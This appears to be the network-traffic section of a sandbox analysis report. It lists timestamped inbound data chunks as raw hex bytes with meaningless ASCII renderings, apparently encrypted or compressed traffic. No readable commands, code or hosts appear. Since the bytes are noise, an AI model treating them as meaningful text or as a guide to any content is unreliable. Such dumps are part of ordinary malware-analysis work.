2021-10-12 07:38:07 UTC 9 IN Data Raw: a4 51 66 99 18 ec ff eb 3c 82 84 3d b8 aa 2f 79 48 19 ea c4 58 9d 9b 16 bb cd 8f d6 52 b9 29 aa d6 b6 75 3a 81 
f8 3a ac 57 87 b9 68 e9 f5 04 7f fb b1 28 0f 96 ea 25 d9 24 f4 93 e7 31 a7 81 31 6a 5e 27 d8 11 04 59 7b 88 c1 2b fd e6 80 
80 90 00 d6 5e be 0a 00 4e b2 ee ca fd d0 4b fd 89 53 43 25 23 f3 94 8c 30 e1 f6 f9 3b bb a8 ef cb db c3 64 3f 3c d7 4f 97 
04 4a 7f 3d a2 5b 0a 16 dd 83 31 74 7e 93 3b c7 f8 68 83 57 23 8f b5 c7 03 eb e0 9c b0 bf a7 3f ca 8a 83 2f 29 42 c9 82 3c
14 74 9e 2d d5 d6 5b 36 f0 59 89 29 b4 95 56 21 6d 74 20 0d da d3 22 57 58 3f b5 99 6c a4 9c 22 af 06 29 97 ea 2d 6c 04 
17 c7 c3 a0 e9 11 6d f7 a5 f2 b1 7c 54 7b 3a 72 b8 fa bc 2c c1 47 7f 0a 8c 4d c3 36 80 c2 3e da 23 8c 71 55 ff 45 c3 07 95 
0e 6b 7b e0 3e 62 62 ad f5 3e 67 37 3e d0 
Data Ascii: Qf<=/yHXR)u::Wh(%$11j^'Y{+^NKSC%#0;d?<OJ=[1t~;hW#?/)B<t-[6Y)V!mt "WX?l")-lm|T{:r,GM6>#qU
Ek{>bb>g7>

2021-10-12 07:38:07 UTC 13 IN Data Raw: 5d 76 e5 86 07 9b 19 96 ab 65 c6 db 56 16 4d ba cc 60 a0 a4 3b 65 b0 94 b5 95 c0 df 5d c5 74 7f 79 eb 7c 4f 
30 7c dd 5b a6 09 f9 05 9b c4 5c 40 7a d0 6c 6f 95 fa 8a bc 25 30 0f 5c 93 7a 54 44 71 ef 61 a0 64 cc 2a d5 bf 8a 01 c1 95 
fb 07 8b 08 12 8d 40 85 ef e6 3f 3d 34 01 b4 0f 90 9f b3 2c ee 33 93 9d d2 89 22 12 5a 05 34 f5 7b fc d6 4f 4c 7e 60 a4 b8 
0a ba c1 04 a1 c8 ab 69 d0 11 46 c4 b9 a2 53 ce f4 51 48 fd cc 32 a5 31 7f 68 24 3a d9 8c c3 00 a6 6c a2 24 a7 f8 31 dc 
3a 5c bd 4e 18 43 ef 19 79 15 41 d7 42 ab 49 68 a4 c8 fa fc 09 d6 21 78 fd d7 35 64 88 ec 46 e4 9d 95 31 57 05 f7 3a c9 
8c 21 2e 22 89 1a 87 68 2d 86 35 7d 28 c8 98 61 ba dd 1e 48 14 5b 6a 9f f1 5c 0f 34 83 63 66 f2 a8 03 8d 6d 4d 2b 16 f1 
cb b8 2b 8e 35 88 f6 86 cf 43 54 b1 cc 85 4f 49 58 
Data Ascii: ]veVM`;e]ty|O0|[\@zlo%0\zTDqad*@?=4,3"Z4{OL~`iFSQH21h$:l$1:\NCyABIh!x5dF1W:!."h-5}(aH[j\
4cfmM++5CTOIX

2021-10-12 07:38:07 UTC 16 IN Data Raw: e0 29 7a 6a a5 10 c6 83 eb 56 a4 fe 9e 56 6f d8 77 ed 71 eb 5c 6c b5 79 c5 c1 b5 7e 86 b1 4c 21 79 f4 16 9c 
0b 0c e5 65 ab cc f3 e4 f5 9a db c4 55 35 40 96 d9 48 46 ab fa 0a 87 d7 2f ce 1a 07 9d 64 3a 78 43 37 66 73 46 5d 0e 74 
a0 8e ec 2a 98 ea 40 f4 70 5e 6e 9f d9 5f ed 7c 63 5d b0 33 93 85 c1 e9 b8 7c 44 f9 94 fa 01 9e 9b 8c e0 d1 61 0c 2e f3 7d 
ad 6e c7 25 22 fc 3e ed d3 34 94 9d 79 ef 00 21 d9 af f5 c0 f0 ac 6a 86 8a dc 6e af d9 f4 00 45 99 4b 56 06 c6 8b 8d 6e 94 
bf 2a 9f 68 99 70 de 87 0a 05 9d 17 6a 21 a2 22 b6 88 99 91 5e c7 0a 3b 74 15 56 9c 6c 13 3f 98 22 a6 c1 a0 10 b2 e0 87 
aa 65 67 b3 34 75 3e ef c6 5d ef fa 5f 0f c5 0d a3 a5 04 39 45 7a fd da aa ec 7e 2d 23 b0 25 12 09 eb 26 6d 36 71 93 be 
cb c1 be b0 6c 4a 46 39 ca 0f d1 46 91 4e 56 35 79 
Data Ascii: )zjVVowq\ly~L!yeU5@HF/d:xC7fsF]t*@p^n_|c]3|Da.}n%">4y!jnEKVn*hpj!"^;tVl?"eg4u>]_9Ez~-#%&
m6qlJF9FNV5y
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2021-10-12 07:38:07 UTC 18 IN Data Raw: 5c e5 f2 2b 35 fd a4 09 94 21 6e e3 24 1c be 2d 92 ab 7e ad 15 41 e8 46 b0 c7 60 f6 cb 39 65 b2 85 78 95 c0 
d1 05 03 7b 5a 55 f4 fd 4f 3a 65 ea 6c 86 1a fd 0f 54 c0 51 0b ac 04 40 63 96 dd cb 64 da cf db f0 9e 30 b9 56 7e fe 65 a1 
f5 9a 06 cd bc 41 38 b8 fa 2d 0d 87 10 7f 68 30 87 e5 f9 29 2f 35 01 be d3 85 8c b7 28 e8 04 b2 4b 11 a7 29 1d 6b 07 45 
f7 7d d2 5c 52 5f 7c 71 b2 d3 c7 44 c0 22 82 e5 b3 17 c2 05 50 e8 29 be 40 cc d2 9d 76 e3 c5 cc 81 35 44 61 38 18 b8 b3 
d7 15 03 5b 90 37 a3 f2 fd fd 25 a2 bc 1c 1a 4a f4 63 79 55 dd d3 e0 b4 5b f6 b5 c8 eb f9 05 9d ce 39 c7 f3 ed 78 f6 f2 e4 
f5 d9 20 50 4c 16 f3 3e f0 cd 3e d0 25 8d 48 8c 72 03 cc 48 7d 22 60 24 63 fe c5 27 16 00 a5 6d 11 e3 0b 05 18 fd 72 62 
e7 a3 bf 9e 03 31 16 13 c9 27 6d ab 71 32 fc 4d 97 
Data Ascii: \+5!n$-~AF`9ex{ZUO:elTQ@cd0V~eA8-h0)/5(K)kE}\R_|qD"P)@v5Da8[7%JcyU[9x PL>>%HrH}"`$c'mrb1
'mq2M

2021-10-12 07:38:07 UTC 19 IN Data Raw: c4 84 8b 62 85 81 39 96 78 b1 7a cf a0 f8 0b 8c 1e 0b ec a2 22 53 97 67 93 59 a8 c7 3b 6e 1f 41 63 6e 73 39 
f7 11 ae c1 aa 14 4c e2 d8 aa 6a 08 7e 3b 75 34 f8 22 5f b0 c2 69 0e c5 0d fd a2 04 39 4f 16 d5 1e 86 e5 78 05 e2 b0 25 
18 53 60 26 6c 36 60 96 96 9b ca be b6 4a 8f 44 39 87 1c 5c 53 9e 4e 57 26 23 df 06 1d d7 c2 9d 96 a2 4c 41 1a 04 b9 e4 
9c d9 9f 85 da 15 65 9b ad e2 b0 24 f4 50 24 22 d9 80 76 14 31 e9 20 2c c6 40 2a 4c 79 16 ad 22 33 83 18 e6 ed ef 2d 86 
eb ff b1 aa 25 64 4d 08 ef 6c 8f ad 92 35 bd c4 e0 9b 52 b9 22 76 08 bc 7d a7 8e f0 55 f5 57 87 b3 0b c8 db 06 70 fd bb f6 
07 be dd 24 d9 2e dc bd 2b 38 a1 8b 17 52 5e 27 0e c6 04 5f 5e 88 c1 2b e6 ce 80 81 92 00 af 5e 43 8c 00 44 bc ee ca fd 
2b 42 a4 89 1e d8 25 29 e9 94 8c 31 e1 f6 f9 3b 1e 0f 
Data Ascii: b9xz"SgY;nAcns9Lj~;u4"_i9Ox%S`&l6`JD9\SNW&#LAe$P$"v1 ,@*Ly"3-%dMl5R"v}UWp$.+8R^'_^+^CD+B
%)1;

2021-10-12 07:38:07 UTC 20 IN Data Raw: dd 67 8f ca c7 64 9a e3 aa 83 ff b6 23 dd 74 66 76 c3 fa 52 ce 77 fa 4f bc 0c fe 6a 79 c0 43 40 ae cf 4b 63 9b fb 
5c 9b 09 3d 07 91 41 71 47 4a 72 ce 80 b8 b0 d0 0d cd b1 87 d7 be b9 f0 0f e8 d7 10 a5 3a 91 dc 03 0c 49 34 06 a5 53 8a 
a0 bf 04 d1 35 8f 65 f9 b9 22 1b 44 34 bb f6 57 fc 77 44 71 97 7a be bc 16 52 3e 29 86 c3 a4 1c c8 16 58 3e 1a 92 42 e1 
f1 78 30 1d 3a 33 a2 37 73 61 38 01 9b 8c c3 9f 04 73 a8 10 a3 f8 31 ce 37 a6 84 e2 14 4a f4 67 70 11 5c 2d e1 98 45 6c 
8a d6 f8 fc 16 cc db 6e 2f da 10 79 ee e7 42 e4 88 33 34 a5 17 df 3f f3 ef 27 c3 27 a5 00 8a 6a fb a2 19 74 0a 59 86 72 b4 
d0 16 5f 06 a5 7a b7 e9 b5 1d 1c 84 7b 6a 77 bb e1 9f 45 4f 11 17 d5 dd 44 f8 60 35 99 9d 86 cf 4d 7e fa 38 85 45 69 67 
c7 a3 04 55 e3 64 1c c6 01 ee 86 7b e2 89 fc b1 
Data Ascii: gd#tfvRwOjyC@Kc\=AqGJr:I4S5e"D4WwDqzR>)X>Bx0:37sa8s17Jgp\-Eln/yB34?''jtYr_z{jwEOD`5M~8EigUd{

2021-10-12 07:38:07 UTC 22 IN Data Raw: f4 b7 c8 37 74 17 59 9c 6f 5f 2b df eb a6 c1 ac 68 4c e3 d8 b1 0c 09 7f 34 7f 3e e1 34 5f b8 dc 60 f0 c4 21 ca d5
0c 39 41 12 ab 06 a8 ec 7c 2d c9 b0 25 12 c9 68 26 6d 32 7f 9c 9a a6 cb a0 48 45 a3 53 47 c4 15 5c 57 ef 56 57 26 3d b0 
04 1d d7 c8 a7 df 07 ba be 05 03 b5 e4 94 ac 68 84 f6 0b 63 b3 83 fa b0 22 e3 78 0a 22 d9 fd 69 3a 58 f9 2c 2c ce da 2f 
b2 78 35 a6 25 24 e7 01 e6 ec eb 8f 99 e6 67 b8 a2 3a 7a b3 09 c3 c5 81 b6 ec 23 bd c4 e4 23 4d a8 2f 76 00 a3 72 e8 86 
dc 52 fc 4d 81 11 ab d1 d7 06 77 e4 45 f7 31 ad db 0d 3d 2c dc bb cd d4 a3 8b 1f 3d 23 27 d2 c5 0e 45 5d 88 c9 3d 02 cf 
ac 82 85 0c af 56 b7 97 fe 45 9e ec e1 f8 ea 38 5a 76 ee f2 25 29 f3 8f bc 34 e1 3d f9 3b 16 2f ef d9 d0 c1 4c 3d 26 e7 40 
f8 27 4b 7f 37 d8 6e 0a 07 d5 a1 a5 c7 7e 99 4f 
Data Ascii: 7tYo_+hL4>4_`!9A|-%h&m2HESG\WVW&=hc"x"i:X,,/x5%$g:z##M/vrRMwE1=,=#'E]=VE8Zv%)4=;/L=&@'K7
n~O

2021-10-12 07:38:07 UTC 23 IN Data Raw: 03 03 04 a6 c4 68 50 9e dc 40 6a 8a 19 a3 b6 27 27 08 fe 85 6d b9 41 5d fc 4e b8 b1 5a 01 da 60 96 2e b7 a4 
44 1b ad 1a 10 b6 00 84 ef 46 17 42 34 2f be ad 9a 9a a4 28 c7 b8 8f 63 d3 a5 38 1f 5a d3 44 db 74 ec 0a 77 5f 7a 64 3b 
0b 06 9e cd 24 b0 d2 b7 17 d9 15 5d 3e 1a 92 5b cc 9b 4b 4d e2 cf b2 81 1d 73 65 30 88 bd a6 ed 06 04 79 be c9 a2 d4 
7d c4 37 a6 bc 73 10 5d 0a 66 4d 16 59 c0 e4 b4 51 7f b8 36 ea d4 05 a3 fd 79 d1 df 14 79 f7 f4 4c 8b eb 37 2e 51 1c ea 
29 dc 88 2d d4 3f 5b 10 a2 77 12 89 28 6e 26 6a 97 76 a4 23 0e 60 07 8e 4a a8 e1 4f 1c 21 87 64 9c ec 9c fe 9b 52 4b 00 
02 cd 3e bb d5 5d 30 dd ea be a3 b8 83 6a c4 92 93 6f 43 e4 8f 94 47 c9 75 18 c4 cf eb aa fd f3 85 e6 8d f1 d3 e5 14 c0 2a
3e ba 03 1b c8 92 7c 14 87 38 0a 87 c7 62 f2 61 9c 56 6d 
Data Ascii: hP@j''mA]NZ`.DFB4/(c8ZDtw_zd;$]>[KMse0y}7s]fMYQ6yyL7.Q)-?[w(n&jv#`JO!dRK>]0joCGu*>|8baVm

2021-10-12 07:38:07 UTC 24 IN Data Raw: 51 34 f8 32 df b8 c3 69 0a 18 48 de ab 04 3b 5e 63 e6 07 d6 e4 78 05 e9 98 2f 1b 49 66 0e 49 36 60 9c 16 ae 
c3 be b2 99 a8 47 39 cc 17 43 25 a2 57 29 2e 39 df 02 34 dc c1 9d 90 d0 61 41 1a 00 39 ec 9c b1 92 58 d3 19 65 9b af e7 
c7 17 ec 2e 2c 22 d9 f3 57 18 32 e7 26 04 e2 c5 23 46 f9 11 ad 22 37 44 f3 e4 ec ef 2f 99 93 58 a1 d4 2d 6a 4d 0c c7 c3 
85 ad 94 12 99 c4 e0 8b d2 b1 23 76 0c 61 b0 14 87 f0 57 e4 2e b4 aa ca c9 db 06 7b d5 b5 f5 1d b8 f5 01 d9 2e d6 3d ed 
31 a1 8f c4 fd 5c 27 d2 cd 1b 25 62 91 bf 23 fc ce 84 a8 9d 03 af 58 80 a1 00 44 b8 6e c2 fd d2 4f 79 18 13 d8 25 2b ec ef 
bf 29 9f fe f9 3b 12 2d ff da c1 c5 4c 1a 27 e7 40 17 1b 4b 7f 39 6a 28 08 07 df a9 67 54 4d 80 31 fc f8 68 86 75 79 a5 ff c1 
2b c5 8f d7 ba 3f a5 39 dd e1 12 7a 2b 48 cf 8a 
Data Ascii: Q42iH;^cx/IfI6`G9C%W).94aA9Xe.,"W2&#F"7D/X-jM#vaW.{.=1\'%b#XDnOy%+);-L'@K9j(gTM1huy+?9z+H

2021-10-12 07:38:07 UTC 25 IN Data Raw: 74 b1 80 1b 15 c6 a9 94 3a a4 95 ea 16 98 3c ee a4 1c 89 ed f1 1c 6a 2d 00 be a7 98 99 a8 0b ec 2c 8f 72 c8 
ba 15 e5 42 01 49 f1 6a f5 1b 7a 5d 7a 66 aa 81 02 5f c0 39 b1 de 92 e9 c9 3d 4d d1 10 af 4e 1c e7 4b 53 c0 d6 d7 a4 0c 
68 7e 0b ec aa a2 d3 17 01 5b fb 37 a3 fe 19 10 da 5d 43 7d 20 59 ef 67 70 0e 5e df 1e b5 6c 71 b1 c3 f1 2e 05 d6 c0 74 
c2 c0 3c 6b ed eb 4d 1a 98 1b 2b 71 09 ff 29 c3 88 2d cb 3c 94 ef 8f 5e 14 a1 24 76 33 6f 90 63 b8 f5 15 4d 02 af 74 81 e1 
50 1c 21 98 6d 72 13 b1 d1 82 43 5e 0b 3b dc 22 45 de 62 24 e9 fe 95 d4 47 6d 8e d3 b8 bb 62 67 e2 b8 3f 42 e0 75 1e b0 
d5 ed aa 78 eb bb f5 b9 f1 c2 ef 23 a6 d4 3f 90 8d 39 d9 99 50 73 a2 38 00 90 ed 43 a3 51 87 56 78 eb 4c db 8f e0 63 40 
9c d8 13 62 4a 61 b7 b1 74 09 d5 ed 09 bf e4 2e e1 d0 
Data Ascii: t:<j-,rBIjz]zf_9=MNKSh~[7]C} Ygp^lq.t<kM+q)-<^$v3ocMtP!mrC^;"Eb$Gmbg?Bux#?9Ps8CQVxLc@bJat.

2021-10-12 07:38:07 UTC 27 IN Data Raw: 25 12 4b 71 29 7c 30 0f 8e 97 a6 c9 ad be 55 80 55 3f 1a 06 53 51 80 41 7f 3f 38 df 0c 16 c6 cd 87 40 eb 4a 43 
0b 05 91 fd 9d b1 9c 8e cb 15 7f 4d be f7 b2 35 fa 78 3d 23 d9 fd 6c 05 20 e8 3a fa d5 ca 32 5d 6e c3 ba f4 be b2 18 e6 ed 
fc 3d 84 fa 64 a9 ba 33 7b 5c 20 f5 cf 86 a7 83 35 ac d5 36 92 5d bb 32 79 20 a5 7c 16 8d e3 5b ea 58 9d a2 ba 17 0d 15 
70 ff aa f9 35 a7 dc 25 d3 22 cd b2 ff e7 b2 84 1b 43 51 0f cb ce 04 55 5c 99 ce 31 2a dd 8f 82 83 0f 87 47 a9 85 0a 57 bf ff
c5 e7 c3 46 72 5f 02 d7 27 38 fc bc 95 31 e1 fc ea 3e 07 0a f5 0f d2 cc 75 3b 30 3d 5d 41 9e 60 7f 3d b6 48 0e 05 ce a4 69 
70 68 88 4a dc e2 69 82 57 26 b6 f3 a8 23 e0 8f dd 89 93 ac 39 dd ed ef 21 a9 48 cf e2 83 5a 74 9e 41 89 da 34 1d f7 4e 
ec 08 96 94 5c 2d 5a 14 4f 42 dc c0 3c 40 
Data Ascii: %Kq)|0UU?SQA?8@JCM5x=#l :2]n=d3{\ 56]2y |[Xp5%"CQU\1*GWFr_'81>u;0=]A`=HiphJiW&#9!HZtA4N\-
ZOB<@

2021-10-12 07:38:07 UTC 28 IN Data Raw: a9 a1 8b 84 ae d2 fe 1b 8d 48 d1 8e f1 19 41 a3 f2 e5 7b d2 2d 52 5f 7c 4a ae 8c 18 44 b5 29 aa c1 84 17 c8 00
45 e8 2f bf 40 c0 e3 cd 0d e2 c5 cd b7 17 62 6b 2e 6c 9e 8f c3 0c 99 62 a2 58 95 f9 20 d2 37 a6 94 75 15 4a fe 65 0e 88 
41 d3 ea a7 45 53 b7 c9 eb f2 07 d9 b0 e4 d1 db 36 69 f0 e5 40 f0 b1 b4 2c 5b 10 e5 b7 df 88 3c d1 37 b1 05 a6 da 05 a3 
3f 65 ae 55 86 72 bf f5 38 4d 02 af 7c 3f cd 4b 1c 31 ab c2 62 ed ba d5 d6 41 4f 0a 04 1f ae 6e d4 71 33 e5 e8 97 c9 53 54 
8f cf 85 43 7b c6 ea be 17 50 f0 7e 09 d4 e9 fe ad dc e5 8e f1 b4 7d ec f4 3c 89 88 2f b7 90 37 d9 9e 6c 7e bb b5 25 83 eb 
5d 9f 4f 8d 5b 7f e7 cf fc 7c f6 59 d5 b5 51 fa b5 19 7e 80 a8 49 18 c9 e0 86 b6 05 3e c1 cd 33 e4 e4 cc d2 90 0b dc 7d 6b 
5b be cb 5b 62 89 6d 30 86 d1 34 99 20 c7 9f 
Data Ascii: HA{-R_|JD)E/@bk.lbX 7uJeAES6i@,[<7?eUr8M|?K1bAOnq3STC{P~}</7l~%]O[|YQ~I>3}k[[bm04 

Timestamp
kBytes
transferred Direction Data
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2021-10-12 07:38:07 UTC 29 IN Data Raw: 49 24 de 06 16 fb ce 9a 87 fe 54 56 75 34 b8 e4 96 6f 8c 82 d0 c7 68 9a ad f8 b7 2e 28 56 25 22 d9 e6 6a 38 36 
f6 35 43 91 c5 23 46 a5 21 4d 22 33 99 10 c6 ef 89 2d 86 ab ba b8 aa 25 63 6d 01 6f ce 86 ed 54 3a bd c4 93 ab 53 b9 29 
65 2a a2 f0 3d 87 f0 54 e8 74 98 ab 39 ea db 06 7e ee 9f e7 18 a1 c5 34 fa 38 c2 95 ff 30 a1 81 08 57 48 36 f6 d9 1b 47 79 
92 c0 2b f6 df a2 91 b6 6f 84 5f a8 8f 11 66 a3 cd a5 d1 d3 4b ae 98 33 cf 4a 04 f2 94 86 21 c3 ef 96 15 17 05 e5 c8 e3 ac 
4b 3f 27 ed 5b 93 05 5a 7b b3 00 34 3a 06 df a1 6b 51 61 d9 c2 df f8 68 83 4e 04 b6 da d8 2b f0 ae c1 af ff 85 23 dc e5 c5 
5c 00 49 cf a8 0f 7c 65 b8 53 b9 b9 7d 3d f6 44 f5 40 a5 b2 74 31 73 46 45 6a 83 d1 28 57 58 5d b5 99 6c a4 b1 22 af 06 
3c 97 a0 3e 6a 13 50 f9 fd a1 e3 1d dc a9 b4 
Data Ascii: I$TVu4oh.(V%"j865C#F!M"3-%cmoT:S)e*=Tt9~480WH6Gy+o_fK3J!K?'[Z{4:kQahN+#\I|eS}=D@t1sFEj(WX]l"
<>jP

2021-10-12 07:38:07 UTC 31 IN Data Raw: a6 b3 11 55 cf 37 a6 3f b2 3b b5 05 96 43 1b be 41 e2 e0 40 4c e8 ed d1 a7 1d 75 7a b5 15 ab 8e c2 15 0f 62 
a3 21 a4 d0 31 d8 24 a8 1e 73 1f 5d eb 5f ed 2a 41 d3 e1 16 51 70 b8 d9 e2 5a 07 d6 c6 6f 5d e4 3c 7a f7 56 57 ef 83 2d 
a2 64 16 f3 3b 7a 99 37 c3 29 b4 1b 9a 66 1e 2e 1a 7d 22 6b 95 7e af d1 19 5b 9e b4 67 a4 e4 d7 0d 3c 9b 65 fe fc bc e4 
9a dd 5e 0c 09 df bf 54 d8 66 1a 5a ef 86 c5 61 63 98 df 8a 45 72 44 f3 40 16 7d ee 64 14 c7 6f d6 07 82 0b 7a f9 ab e2 dc 
f4 2d 87 35 2d 42 82 02 53 92 78 6a b7 e8 89 83 eb 5d a4 56 9c 56 63 d8 4e ee 71 e7 54 c4 a3 5c ed 9c a6 75 91 a9 79 
0e ec e7 16 9a 10 8d dc d0 be d3 c9 40 ed 9a db cf df 7a 4b 8e ce 5f 4a 92 45 08 8d 73 2f e6 2b d1 13 5b 3c 50 65 95 77 
72 74 12 0a 67 ab 8c c7 16 0f 6b 42 f2 67 6b cb 59 db 5f 
Data Ascii: U7?;CA@Luzb!1$s]_*AQpZo]<zVW-d;z7)f.}"k~[g<e^TfZacErD@}doz-5-BSxj]VVcNqT\uy@zK_JEs/+[<Pe
wrtgkBgkY_

2021-10-12 07:38:07 UTC 32 IN Data Raw: e3 bd 24 fc 4e da 23 f5 f2 68 3e 2e ee 2d 2c cf dc dd 4d 55 10 a8 21 37 8e c2 ea b8 f5 20 86 e2 7c 46 ab 09 68 
55 05 ef c7 9b 53 93 16 b5 c1 e5 cb 45 6f 77 68 05 bc 74 0e 79 f1 79 ff 41 8c aa b9 c1 d2 1d 81 fc 97 fc 1f bb 97 b4 c6 24 
ef 97 f9 3c a1 82 05 ac 5f 0b d7 c8 28 45 4c 85 c1 22 ea 30 81 ac 90 17 a2 5e a1 9a 09 ba b3 c2 c8 d6 d7 73 da 76 ee 27 
32 22 d8 9e 8e 35 ab 67 e6 36 38 07 f9 d2 c4 e6 2e 29 f1 b3 4f dd 1b 7a c6 2b 9d 48 3a 05 df 96 78 74 7e da 4f f4 e9 7e 
8e 76 0a a7 f7 df fd e0 a3 da ce 88 ad 39 d9 96 81 2e 29 42 c4 bb 10 5a 7c 89 bc 99 fa 59 24 fa 4e ee 71 4a 94 70 25 65 
4a 4f 4a c3 2d 29 7d 72 58 b5 b2 a5 cc ce 4d e0 0d 2f b5 8d 2f 6c 02 6b a6 c1 a0 b6 17 02 a5 e1 f2 bb 66 45 03 2b 3f b8 f3 
ca 81 c0 6b 71 3b e8 55 cf 30 9e f2 ee db 0f 8a 
Data Ascii: $N#h>.-,MU!7 |FhUSEowhtyyA$<_(EL"0^sv'2"5g68.)Oz+H:xt~O~v9.)BZ|Y$NqJp%eJOJ-)}rXM//lkfE+?kq;U0

2021-10-12 07:38:07 UTC 33 IN Data Raw: 35 24 60 38 18 c4 d6 c2 06 0e 79 ae b9 14 f3 0b 9a 0c 3e bc 62 1e 4e 9b fa 61 15 4b c0 e4 a3 51 7f 2e 7f 3d f3 
11 ca 05 6e 07 56 17 7a f6 f5 4c e2 8f 26 2a d5 a1 47 a6 c9 8c 2a d6 34 b4 15 00 c5 2d b9 34 7d 28 41 8d 5a 90 df 0f 4a 
71 fc 6a b3 f8 31 00 37 55 65 b8 fa 66 70 a7 41 4f 01 1e c0 35 5e 48 78 25 f4 5b 1a c6 5e 7f 21 50 83 53 6a 51 ea 96 0d 
50 e3 7f 11 d6 71 58 b2 a4 f1 e9 c5 a2 f1 d3 f4 3c 88 5a 7e e7 ab ad c8 92 72 de 3f 31 03 0d 5c 4b 56 47 bc 56 68 f0 53 
b0 c5 7d 46 63 a4 5c ed 8e 85 7b 80 2b 6f 09 c4 be 16 9a 0b 07 51 db a9 c6 f7 a3 4f 9a db c4 70 62 ce 21 ff a4 62 83 45 
39 8c f9 1c ee 32 c1 ec 3e 3d 50 6e 4d 4e e5 6e 03 04 77 c9 00 ca 02 2d e4 48 7c d6 5d b9 5e db 5f da 5f 6c 7f b3 39 bd 
a8 9b e8 be 65 16 c8 22 76 b6 4e 82 21 7f c5 74 d6 3f 
Data Ascii: 5$`8y>bNaKQ.=nVzL&*G*4-4}(AZJqj17UefpAO5^Hx%[^!PSjQPqX<Z~r?1\KVGVhS}Fc\{+oQOpb!bE92>=PnM
Nnw-H|]^__l9e"vN!t?

2021-10-12 07:38:07 UTC 34 IN Data Raw: fe 43 88 d2 33 0a 41 ea a9 9f d1 d3 0b 3d 76 7f 7b ac ad 4f 30 7c c7 4c a9 75 b1 05 8a ca 52 42 ac 9b 40 63 96 
88 e9 9a 25 3a 14 f6 e3 88 47 40 7b ed 63 92 ab ce 06 cb ba 93 2c d0 ca fa 0d 8d 75 70 a4 30 8d fc f4 3c 0b 25 15 d1 6b 
8b 8c bd 04 5e 37 8f 69 c0 a9 38 1d 44 3b 42 79 cc 95 da 52 5f 70 68 a4 b0 1f 41 d1 24 c5 a0 b2 17 c2 39 24 c1 1b b4 53 
c0 dc dc 4c e2 cf dd ae 72 ee 61 38 18 b8 85 d2 00 15 78 be 26 a8 76 97 b7 8a a2 bc 68 05 5e 9b ac 61 15 4b fe 4e 6a 56 
6a b4 bd d0 f8 16 dc f3 75 c0 cf 49 41 f6 f4 47 8b ce 37 2e 51 ca e2 3c df 9e 3b 5e 94 ca bf 8e 72 0f 8b 07 7e 22 6c 95 77 
af d8 0a 4f 0c a1 43 d0 f3 4b 16 3d ab ee 62 ed ba f4 e3 dc 4f 00 19 da 27 54 d2 60 36 e0 fe 82 41 f0 13 3b cc 85 4f 72 4d 
e9 a8 13 df 54 1a b6 df ff e5 82 20 f5 85 ec 8a 
Data Ascii: C3A=v{O0|LuRB@c%:G@{c,up0<%k^7i8D;ByR_phA$9$SLra8x&vh^aKNjVjuIAG7.Q<;^r~"lwOCK=bO'T`6A;O
rMT 

2021-10-12 07:38:07 UTC 35 IN Data Raw: 5a db a2 3a 74 15 4c 60 15 3b 39 f7 eb b5 c7 d9 2d 4d e2 d2 a8 66 19 7b 25 73 5b d3 39 5f ba d2 6c 16 aa 20 
dc ab 0e 28 44 0e ba 30 a9 ec 72 06 c5 d9 24 18 43 73 22 7c 33 0f b9 97 a6 c9 ad b1 55 88 55 3d da 04 58 dd 26 21 67 
27 39 d5 0d c2 cd d3 98 f9 9f 44 41 10 03 d6 8c 9d b1 9c 59 04 10 6c b7 ab f1 df 73 f5 50 2e fe d1 f0 10 08 30 e7 2a 06 c6 
c5 22 50 79 19 af 22 0d 99 02 be ec e1 2d 86 eb 6b ba aa 2b 6a 17 60 ef c4 86 ad 92 3a a6 f4 e4 81 d5 b9 23 76 45 bc 7d 
07 93 fb 26 9f 56 87 b9 b8 b2 be 07 7f f7 b6 ff 15 b6 d9 4a c5 2f dc b7 8a ac a1 8b 13 3d 78 26 d2 c5 17 59 22 a2 c0 2b f6 
dd 85 91 97 11 a9 31 83 84 00 4e a3 eb d2 92 ff 4a a4 83 00 dd 3d 46 dd 95 8c 3a e2 de 90 3a 16 0f fc dd d0 c6 0b 11 26 
e7 40 84 14 5a 78 2c b3 4d 1b 03 51 1c 17 44 7f 99 45 
Data Ascii: Z:tL`;9-Mf{%s[9_l (D0r$Cs"|3UU=X&!g'9DAYlsP.0*"Py"-k+j`:#vE}&VJ/=x&Y"+1NJ=F::&@Zx,MQDE

2021-10-12 07:38:07 UTC 36 IN Data Raw: 1b fd 0f a2 b1 42 4a 8e fd 5e 7f 8f e0 a2 8b 22 2f 0c 00 8d 5d 4e 78 b1 fe 65 ba 85 c7 15 ca b6 8c 2e a0 9f 05 
0c ab 03 18 85 31 86 ef e0 3f 56 35 01 b4 85 fa 8d b7 26 c5 1f 70 9c 2c ba 22 08 44 2d 54 f0 62 04 75 7e 5a 7e 6c af af 16 
44 d1 2f b7 3f b2 3b c1 18 7f bf 1b be 40 d4 e7 47 4c f3 c2 d6 5a 1c 5f 79 30 32 ab 8f c3 06 2c 67 a9 37 a9 d0 51 d9 24 a8 
86 b5 ea b5 0b 7c 72 12 41 c2 e7 ab 4e 85 a1 e4 d3 e9 10 d8 d8 f5 c1 db 3c 78 99 82 47 e4 93 1f 59 5a 16 f9 1f f5 8d 1a 
c1 27 8e 1b f7 62 05 a3 37 0c 32 6a 86 70 ad d8 1d 49 79 f3 6b b3 f6 cf 73 96 83 72 64 f2 bf ee 8b 41 5e 07 05 37 22 69 
d7 66 21 f1 ef 97 c8 58 73 6b cd a9 47 48 4e d5 e0 e9 ae 1c 0b 6d de ff e5 82 06 f5 85 ec a1 f5 d6 dc aa 88 2a 38 96 83 
3b c8 89 48 6f a3 5f 0a 83 eb 0c 8c 42 8d 40 63 
Data Ascii: BJ^"/]Nxe.1?V5&p,"D-Tbu~Z~lD/?;@GLZ_y02,g7Q$|rAN<xGYZ'b72jpIyksrdA^7"if!XskGHNm*8;Ho_B@c

2021-10-12 07:38:07 UTC 38 IN Data Raw: 75 3e 97 06 5e b0 c9 6f 26 5a 0f dd ad 7a 59 41 16 d1 36 08 ee 78 03 c5 72 25 18 43 0f 18 6c 36 6a 90 be 07 
c1 be b0 3a ef 44 39 c8 3d fe 51 91 48 7f e4 39 df 0c 73 e9 c3 9d 9c fe 6d 05 19 0a bf 9a fc b1 96 81 f2 b6 67 9b ab d0 72 
24 f5 5a 4b 1c d8 f7 75 12 19 42 22 2c c0 bb 43 4c 79 1d 85 84 31 99 1e ce 2e ef 2d 8c 84 55 b9 aa 2f 6c 22 89 ee ce 8c 
c2 10 3b bd ce f3 86 79 da 31 71 20 3f 7c 16 8d fc 53 f3 38 a6 b2 b4 cb d6 0f 57 d2 bb f6 17 93 df 0e 90 27 f4 0e e5 31 a7 
